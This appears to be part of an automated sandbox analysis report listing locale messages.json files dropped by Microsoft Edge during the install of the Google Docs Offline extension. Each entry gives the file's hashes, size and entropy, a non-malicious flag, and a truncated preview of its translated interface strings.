Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
